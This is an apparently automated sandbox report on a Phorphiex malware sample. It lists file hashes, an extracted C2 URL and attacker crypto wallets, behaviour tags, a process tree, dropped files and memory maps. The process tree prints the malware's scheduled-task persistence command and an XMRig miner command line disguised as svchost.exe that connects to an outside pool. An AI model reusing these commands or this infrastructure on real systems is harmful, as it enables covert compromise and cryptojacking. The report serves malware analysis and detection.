Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20220722-en
  • resource tags

    arch:x64arch:x86image:win10-20220722-enlocale:en-usos:windows10-1703-x64system
  • submitted
    12-08-2022 15:55

General

  • Target

    c86e66ff929bb7b66fa3a3dcbf12b2a39041ec1740cd5f748d4672bf06d6db5d.exe

  • Size

    75KB

  • MD5

    209baf40779b80d5e443c3dbbd656bfb

  • SHA1

    b64fa8dded031d5dacac519a2035cefcd05e6503

  • SHA256

    c86e66ff929bb7b66fa3a3dcbf12b2a39041ec1740cd5f748d4672bf06d6db5d

  • SHA512

    9b4e3e82e141e569c85f22dd215f804b2f4e8969cda858662efca67532ba57d2e0acdbaa179524b4996be62f9acee3298eaf6cdfd03eff7e39e23bc7163c440e

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.84/twizt/

Wallets

12SJv5p8xUHeiKnXPCDaKCMpqvXj7TABT5BSxGt3csz9Beuc

1A6utf8R2zfLL7X31T5QRHdQyAx16BjdFD

3PFzu8Rw8aDNhDT6d5FMrZ3ckE4dEHzogfg

3BJS4zYwrnfcJMm4xLxRcsa69ght8n6QWz

qpzj59cm0dcyxy9597x927fx0wzu75nns5lsm2452k

XgWbWpuyPGney7hcS9vZ7eNhkj7WcvGcj8

DPcSSyFAYLu4aEB4s1Yotb8ANwtx6bZEQG

0xb899fC445a1b61Cdd62266795193203aa72351fE

LRDpmP5wHZ82LZimzWDLHVqJPDSpkM1gZ7

r1eZ7W1fmUT9tiUZwK6rr3g6RNiE4QpU1

TBdEh7r35ywUD5omutc2kDTX7rXhnFkxy5

t1T7mBRBgTYPEL9RPPBnAVgcftiWUPBFWyy

AGUqhQzF52Qwbvun5wQSrpokPtCC4b9yiX

bitcoincash:qpzj59cm0dcyxy9597x927fx0wzu75nns5lsm2452k

4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

GCVFMTUKNLFBGHE3AHRJH4IJDRZGWOJ6JD2FQTFQAAIQR64ALD7QJHUY

bnb1rcg9mnkzna2tw4u8ughyaj6ja8feyj87hss9ky

bc1qzs2hs5dvyx04h0erq4ea72sctcre2rcwadsq2v

Signatures

  • Phorphiex

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Windows security bypass 2 TTPs 12 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Windows security modification 2 TTPs 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c86e66ff929bb7b66fa3a3dcbf12b2a39041ec1740cd5f748d4672bf06d6db5d.exe
    "C:\Users\Admin\AppData\Local\Temp\c86e66ff929bb7b66fa3a3dcbf12b2a39041ec1740cd5f748d4672bf06d6db5d.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\wklopsvcs.exe
      C:\Windows\wklopsvcs.exe
      2⤵
      • Windows security bypass
      • Executes dropped EXE
      • Windows security modification
      • Suspicious use of WriteProcessMemory
      PID:1868
      • C:\Users\Admin\AppData\Local\Temp\612732430.exe
        C:\Users\Admin\AppData\Local\Temp\612732430.exe
        3⤵
        • Executes dropped EXE
        PID:3416
      • C:\Users\Admin\AppData\Local\Temp\1740120124.exe
        C:\Users\Admin\AppData\Local\Temp\1740120124.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3148
        • C:\Users\Admin\AppData\Local\Temp\2314210268.exe
          C:\Users\Admin\AppData\Local\Temp\2314210268.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1908
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\2314210268.exe"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4644
            • C:\Windows\System32\cmd.exe
              "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "wincsvns" /tr "C:\Users\Admin\wincsvns.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4812
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "wincsvns" /tr "C:\Users\Admin\wincsvns.exe"
                7⤵
                • Creates scheduled task(s)
                PID:1784
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c "C:\Users\Admin\wincsvns.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4216
              • C:\Users\Admin\wincsvns.exe
                C:\Users\Admin\wincsvns.exe
                7⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:224
                • C:\Windows\System32\conhost.exe
                  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\wincsvns.exe"
                  8⤵
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:220
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                    9⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4076
                    • C:\Windows\System32\conhost.exe
                      "C:\Windows\System32\conhost.exe" "/sihost64"
                      10⤵
                        PID:2004
                    • C:\Windows\System32\svchost.exe
                      C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=185.215.113.84:8586 --user=43RrFTp7myuC9LHNDXFDm2H49Qfp5iMfbLjcbVEmKv5qdoP5vqJyKnrHixqv2QPEtW2jBjeAXzBgtjbzkNNg47Zw1DH2D2H --pass=x --cpu-max-threads-hint=40 --cinit-idle-wait=10 --cinit-idle-cpu=80
                      9⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3608
        • C:\Users\Admin\AppData\Local\Temp\516319480.exe
          C:\Users\Admin\AppData\Local\Temp\516319480.exe
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • Suspicious use of WriteProcessMemory
          PID:4476
          • C:\Windows\wcdsemgr.exe
            C:\Windows\wcdsemgr.exe
            4⤵
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • Suspicious use of WriteProcessMemory
            PID:2016
            • C:\Users\Admin\AppData\Local\Temp\1533620072.exe
              C:\Users\Admin\AppData\Local\Temp\1533620072.exe
              5⤵
              • Executes dropped EXE
              PID:4912
            • C:\Users\Admin\AppData\Local\Temp\47587152.exe
              C:\Users\Admin\AppData\Local\Temp\47587152.exe
              5⤵
              • Executes dropped EXE
              PID:2480

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

      Filesize

      539B

      MD5

      84f2160705ac9a032c002f966498ef74

      SHA1

      e9f3db2e1ad24a4f7e5c203af03bbc07235e704c

      SHA256

      7840ca7ea27e8a24ebc4877774be6013ab4f81d1eb83c121e4c3290ceb532d93

      SHA512

      f41c289770d8817ee612e53880d3f6492d50d08fb5104bf76440c2a93539dd25f6f15179b318e67b9202aabbe802941f80ac2dbadfd6ff1081b0d37c33f9da57

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\CNLYUSDZ\3[1]

      Filesize

      6KB

      MD5

      9e2f163c15ee457be1f51981985570a1

      SHA1

      4a191e6da4a85b915f285e758d0789d2ede3aff1

      SHA256

      c7de55ddd548f4f268979e1f0c70ab0edb2566c0ce46b921ea281e1570abad82

      SHA512

      4b3eae4a1df79ac8805f46d32daecdb54028d160a5056679d4478c08e7f8ff42df5f84f4b1fe2cb8b5f3574eae5b18a94ad865edfc4d314a51118316c907967d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\WLUPZK3F\2[1]

      Filesize

      9KB

      MD5

      573584190b9ae1f05e0b40591df933c4

      SHA1

      412fe72d4eb447ac1744bea4a35360703b1fb110

      SHA256

      85348184c11fe6ea7866ab07f01a7acdd189b0c349b2775f1d28f188b45fa074

      SHA512

      cc33f657047478259fb4ff1d610b9e8adf55744aa4a0a015413cf2747b11992c4d2d5df9d449690c1d28d905e92e93f2b915edf51e8361973018b17bfad496d4

    • C:\Users\Admin\AppData\Local\Temp\1533620072.exe

      Filesize

      9KB

      MD5

      c8a69840ffff790ea975bb0cf55f7f4d

      SHA1

      dd1c74f0eb2fc813d16c96669e22fb657b67c4b3

      SHA256

      e532a8c62dbf01fecc09896f376e689ee836c5498ff24586ed142f72cfd174dc

      SHA512

      df22b912e15640cd1c5f91908e1e2d2b4fc7be27d54415fd2c0ba5f0de83a785662b67912e4513e13fde30abab4082763d4dd6e65ddc2cdfe47bbe6ee40d249a

    • C:\Users\Admin\AppData\Local\Temp\1533620072.exe

      Filesize

      9KB

      MD5

      c8a69840ffff790ea975bb0cf55f7f4d

      SHA1

      dd1c74f0eb2fc813d16c96669e22fb657b67c4b3

      SHA256

      e532a8c62dbf01fecc09896f376e689ee836c5498ff24586ed142f72cfd174dc

      SHA512

      df22b912e15640cd1c5f91908e1e2d2b4fc7be27d54415fd2c0ba5f0de83a785662b67912e4513e13fde30abab4082763d4dd6e65ddc2cdfe47bbe6ee40d249a

    • C:\Users\Admin\AppData\Local\Temp\1740120124.exe

      Filesize

      6KB

      MD5

      a475e43527d7dc7d6f2d23bad64fcc99

      SHA1

      793a7625c0106d6cd79d060b4eec94e58530833e

      SHA256

      f97c43bf3dce6180e658f2c3776e31cf52472b28ac8249be4d307880b6405eeb

      SHA512

      4af57a218d7d790b5ec4581dd2bc941deff05ea11bf6054a9d268c054af421977cdd68d5090884358208925f50023c97e9cfaba0831d72e9bcdcca729447d900

    • C:\Users\Admin\AppData\Local\Temp\1740120124.exe

      Filesize

      6KB

      MD5

      a475e43527d7dc7d6f2d23bad64fcc99

      SHA1

      793a7625c0106d6cd79d060b4eec94e58530833e

      SHA256

      f97c43bf3dce6180e658f2c3776e31cf52472b28ac8249be4d307880b6405eeb

      SHA512

      4af57a218d7d790b5ec4581dd2bc941deff05ea11bf6054a9d268c054af421977cdd68d5090884358208925f50023c97e9cfaba0831d72e9bcdcca729447d900

    • C:\Users\Admin\AppData\Local\Temp\2314210268.exe

      Filesize

      2.1MB

      MD5

      7990f0feb5dd2934aef2d546fd782a07

      SHA1

      7a10b7a22b964bd76effdbdc799098481fa72102

      SHA256

      584453b0ac50b6c6ca75aa0698ff3593c393709ad8b18f2708c6440528e8b7a1

      SHA512

      d87d7db1095e9a382c396c75d69c9b0e3634ca88d6dd52005afa9a35a2f40439dee7d8c84cb336d51f27578880fa77c587edf62956471d332687be519136ca18

    • C:\Users\Admin\AppData\Local\Temp\2314210268.exe

      Filesize

      2.1MB

      MD5

      7990f0feb5dd2934aef2d546fd782a07

      SHA1

      7a10b7a22b964bd76effdbdc799098481fa72102

      SHA256

      584453b0ac50b6c6ca75aa0698ff3593c393709ad8b18f2708c6440528e8b7a1

      SHA512

      d87d7db1095e9a382c396c75d69c9b0e3634ca88d6dd52005afa9a35a2f40439dee7d8c84cb336d51f27578880fa77c587edf62956471d332687be519136ca18

    • C:\Users\Admin\AppData\Local\Temp\47587152.exe

      Filesize

      6KB

      MD5

      a475e43527d7dc7d6f2d23bad64fcc99

      SHA1

      793a7625c0106d6cd79d060b4eec94e58530833e

      SHA256

      f97c43bf3dce6180e658f2c3776e31cf52472b28ac8249be4d307880b6405eeb

      SHA512

      4af57a218d7d790b5ec4581dd2bc941deff05ea11bf6054a9d268c054af421977cdd68d5090884358208925f50023c97e9cfaba0831d72e9bcdcca729447d900

    • C:\Users\Admin\AppData\Local\Temp\47587152.exe

      Filesize

      6KB

      MD5

      a475e43527d7dc7d6f2d23bad64fcc99

      SHA1

      793a7625c0106d6cd79d060b4eec94e58530833e

      SHA256

      f97c43bf3dce6180e658f2c3776e31cf52472b28ac8249be4d307880b6405eeb

      SHA512

      4af57a218d7d790b5ec4581dd2bc941deff05ea11bf6054a9d268c054af421977cdd68d5090884358208925f50023c97e9cfaba0831d72e9bcdcca729447d900

    • C:\Users\Admin\AppData\Local\Temp\516319480.exe

      Filesize

      75KB

      MD5

      5741eadfc89a1352c61f1ff0a5c01c06

      SHA1

      cdff6ddd67f17385f283a0f9e8de76731f11a9b6

      SHA256

      ea500d77aabc3c9d440480002c3f1d2f2977a7f860f35260edda8a26406ca1c3

      SHA512

      08104893c726e06c6fe7687394d084365b72cf19e821be0d7a1b094c9a0d54ccea65fd01ea33a1f507680d21c6f98e62e2d765b4a0ce3b3d8d458063bd375063

    • C:\Users\Admin\AppData\Local\Temp\516319480.exe

      Filesize

      75KB

      MD5

      5741eadfc89a1352c61f1ff0a5c01c06

      SHA1

      cdff6ddd67f17385f283a0f9e8de76731f11a9b6

      SHA256

      ea500d77aabc3c9d440480002c3f1d2f2977a7f860f35260edda8a26406ca1c3

      SHA512

      08104893c726e06c6fe7687394d084365b72cf19e821be0d7a1b094c9a0d54ccea65fd01ea33a1f507680d21c6f98e62e2d765b4a0ce3b3d8d458063bd375063

    • C:\Users\Admin\AppData\Local\Temp\612732430.exe

      Filesize

      9KB

      MD5

      c8a69840ffff790ea975bb0cf55f7f4d

      SHA1

      dd1c74f0eb2fc813d16c96669e22fb657b67c4b3

      SHA256

      e532a8c62dbf01fecc09896f376e689ee836c5498ff24586ed142f72cfd174dc

      SHA512

      df22b912e15640cd1c5f91908e1e2d2b4fc7be27d54415fd2c0ba5f0de83a785662b67912e4513e13fde30abab4082763d4dd6e65ddc2cdfe47bbe6ee40d249a

    • C:\Users\Admin\AppData\Local\Temp\612732430.exe

      Filesize

      9KB

      MD5

      c8a69840ffff790ea975bb0cf55f7f4d

      SHA1

      dd1c74f0eb2fc813d16c96669e22fb657b67c4b3

      SHA256

      e532a8c62dbf01fecc09896f376e689ee836c5498ff24586ed142f72cfd174dc

      SHA512

      df22b912e15640cd1c5f91908e1e2d2b4fc7be27d54415fd2c0ba5f0de83a785662b67912e4513e13fde30abab4082763d4dd6e65ddc2cdfe47bbe6ee40d249a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

      Filesize

      31KB

      MD5

      480af431f9b7f20202cbeef81ccb9a8e

      SHA1

      65ef2c809b571e75809074afeae02950f3404441

      SHA256

      862c961c71218944d9f0724562f487f8396d91803da4e1678ddb0042d843c64b

      SHA512

      23737eb0a0d2a2ffa728690ceeb3b534838cb889bd0a0b206b0147fa4cef05427c8dac3ecea5c6bf98e899f81d70d7510af9267569e3dad4e752d4aec4ff3951

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

      Filesize

      31KB

      MD5

      480af431f9b7f20202cbeef81ccb9a8e

      SHA1

      65ef2c809b571e75809074afeae02950f3404441

      SHA256

      862c961c71218944d9f0724562f487f8396d91803da4e1678ddb0042d843c64b

      SHA512

      23737eb0a0d2a2ffa728690ceeb3b534838cb889bd0a0b206b0147fa4cef05427c8dac3ecea5c6bf98e899f81d70d7510af9267569e3dad4e752d4aec4ff3951

    • C:\Users\Admin\tncmds.dat

      Filesize

      292B

      MD5

      07872b17cfd93a2792bd0b17f5c07002

      SHA1

      7de2ee0b5255ecc6720fb91cae5e51af20a0e4c5

      SHA256

      44a3fbe34f99b539d55342fc99c33a9d5c6da95bfc765d94c47eb64ecbdbede0

      SHA512

      f6c519a48afd92a1eee0f6e4efdf9f0c0cd6104e7edae202aee33d1d8036be3be681032383c0b36fd1ca71ae53600d55b05bb736410f905de06b0f5364d64d37

    • C:\Users\Admin\tnnodes.dat

      Filesize

      4KB

      MD5

      a2eb00e16d2d222a9b15cd0c565ad9a0

      SHA1

      3a3a0658f5a0395f7b3b175d0bdb2e30a1e53414

      SHA256

      1c93017a92d9c60f2687e0bf497f780440bc4626121adcac6c92c0194e5762e8

      SHA512

      b5c0030c3982e56203a840899242ed009054843a450eb33a31da4683d81a5f84d5a4af1ec742d786c58141df29b4289f33f326038ccc38b46f214f9e12e4e9fa

    • C:\Users\Admin\wincsvns.exe

      Filesize

      2.1MB

      MD5

      7990f0feb5dd2934aef2d546fd782a07

      SHA1

      7a10b7a22b964bd76effdbdc799098481fa72102

      SHA256

      584453b0ac50b6c6ca75aa0698ff3593c393709ad8b18f2708c6440528e8b7a1

      SHA512

      d87d7db1095e9a382c396c75d69c9b0e3634ca88d6dd52005afa9a35a2f40439dee7d8c84cb336d51f27578880fa77c587edf62956471d332687be519136ca18

    • C:\Users\Admin\wincsvns.exe

      Filesize

      2.1MB

      MD5

      7990f0feb5dd2934aef2d546fd782a07

      SHA1

      7a10b7a22b964bd76effdbdc799098481fa72102

      SHA256

      584453b0ac50b6c6ca75aa0698ff3593c393709ad8b18f2708c6440528e8b7a1

      SHA512

      d87d7db1095e9a382c396c75d69c9b0e3634ca88d6dd52005afa9a35a2f40439dee7d8c84cb336d51f27578880fa77c587edf62956471d332687be519136ca18

    • C:\Windows\wcdsemgr.exe

      Filesize

      75KB

      MD5

      5741eadfc89a1352c61f1ff0a5c01c06

      SHA1

      cdff6ddd67f17385f283a0f9e8de76731f11a9b6

      SHA256

      ea500d77aabc3c9d440480002c3f1d2f2977a7f860f35260edda8a26406ca1c3

      SHA512

      08104893c726e06c6fe7687394d084365b72cf19e821be0d7a1b094c9a0d54ccea65fd01ea33a1f507680d21c6f98e62e2d765b4a0ce3b3d8d458063bd375063

    • C:\Windows\wcdsemgr.exe

      Filesize

      75KB

      MD5

      5741eadfc89a1352c61f1ff0a5c01c06

      SHA1

      cdff6ddd67f17385f283a0f9e8de76731f11a9b6

      SHA256

      ea500d77aabc3c9d440480002c3f1d2f2977a7f860f35260edda8a26406ca1c3

      SHA512

      08104893c726e06c6fe7687394d084365b72cf19e821be0d7a1b094c9a0d54ccea65fd01ea33a1f507680d21c6f98e62e2d765b4a0ce3b3d8d458063bd375063

    • C:\Windows\wklopsvcs.exe

      Filesize

      75KB

      MD5

      209baf40779b80d5e443c3dbbd656bfb

      SHA1

      b64fa8dded031d5dacac519a2035cefcd05e6503

      SHA256

      c86e66ff929bb7b66fa3a3dcbf12b2a39041ec1740cd5f748d4672bf06d6db5d

      SHA512

      9b4e3e82e141e569c85f22dd215f804b2f4e8969cda858662efca67532ba57d2e0acdbaa179524b4996be62f9acee3298eaf6cdfd03eff7e39e23bc7163c440e

    • C:\Windows\wklopsvcs.exe

      Filesize

      75KB

      MD5

      209baf40779b80d5e443c3dbbd656bfb

      SHA1

      b64fa8dded031d5dacac519a2035cefcd05e6503

      SHA256

      c86e66ff929bb7b66fa3a3dcbf12b2a39041ec1740cd5f748d4672bf06d6db5d

      SHA512

      9b4e3e82e141e569c85f22dd215f804b2f4e8969cda858662efca67532ba57d2e0acdbaa179524b4996be62f9acee3298eaf6cdfd03eff7e39e23bc7163c440e

    • memory/224-490-0x0000000000000000-mapping.dmp

    • memory/1784-486-0x0000000000000000-mapping.dmp

    • memory/1868-181-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-185-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-192-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-193-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-191-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-190-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-189-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-188-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-187-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-186-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-184-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-183-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-165-0x0000000000000000-mapping.dmp

    • memory/1868-167-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-168-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-169-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-170-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-171-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-172-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-173-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-182-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-175-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-176-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-177-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-178-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-179-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1868-180-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/1908-474-0x0000000000000000-mapping.dmp

    • memory/2004-524-0x000001A591D90000-0x000001A591D96000-memory.dmp

      Filesize

      24KB

    • memory/2004-518-0x000001A593910000-0x000001A593916000-memory.dmp

      Filesize

      24KB

    • memory/2016-333-0x0000000000000000-mapping.dmp

    • memory/2480-426-0x0000000000000000-mapping.dmp

    • memory/3148-255-0x0000000000000000-mapping.dmp

    • memory/3416-215-0x0000000000000000-mapping.dmp

    • memory/3608-509-0x000000014030F3F8-mapping.dmp

    • memory/3608-523-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4076-504-0x0000000000000000-mapping.dmp

    • memory/4216-488-0x0000000000000000-mapping.dmp

    • memory/4476-292-0x0000000000000000-mapping.dmp

    • memory/4644-487-0x000001D5D5290000-0x000001D5D54B0000-memory.dmp

      Filesize

      2.1MB

    • memory/4644-483-0x000001D5D7270000-0x000001D5D7282000-memory.dmp

      Filesize

      72KB

    • memory/4644-481-0x000001D5EFD60000-0x000001D5EFF80000-memory.dmp

      Filesize

      2.1MB

    • memory/4812-485-0x0000000000000000-mapping.dmp

    • memory/4912-384-0x0000000000000000-mapping.dmp

    • memory/4956-152-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-149-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-150-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-148-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-147-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-151-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-146-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-145-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-144-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-155-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-143-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-142-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-141-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-140-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-127-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-139-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-138-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-137-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-154-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-136-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-135-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-153-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-164-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-163-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-134-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-162-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-161-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-133-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-132-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-131-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-130-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-160-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-129-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-128-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-159-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-158-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-157-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB

    • memory/4956-156-0x0000000077E40000-0x0000000077FCE000-memory.dmp

      Filesize

      1.6MB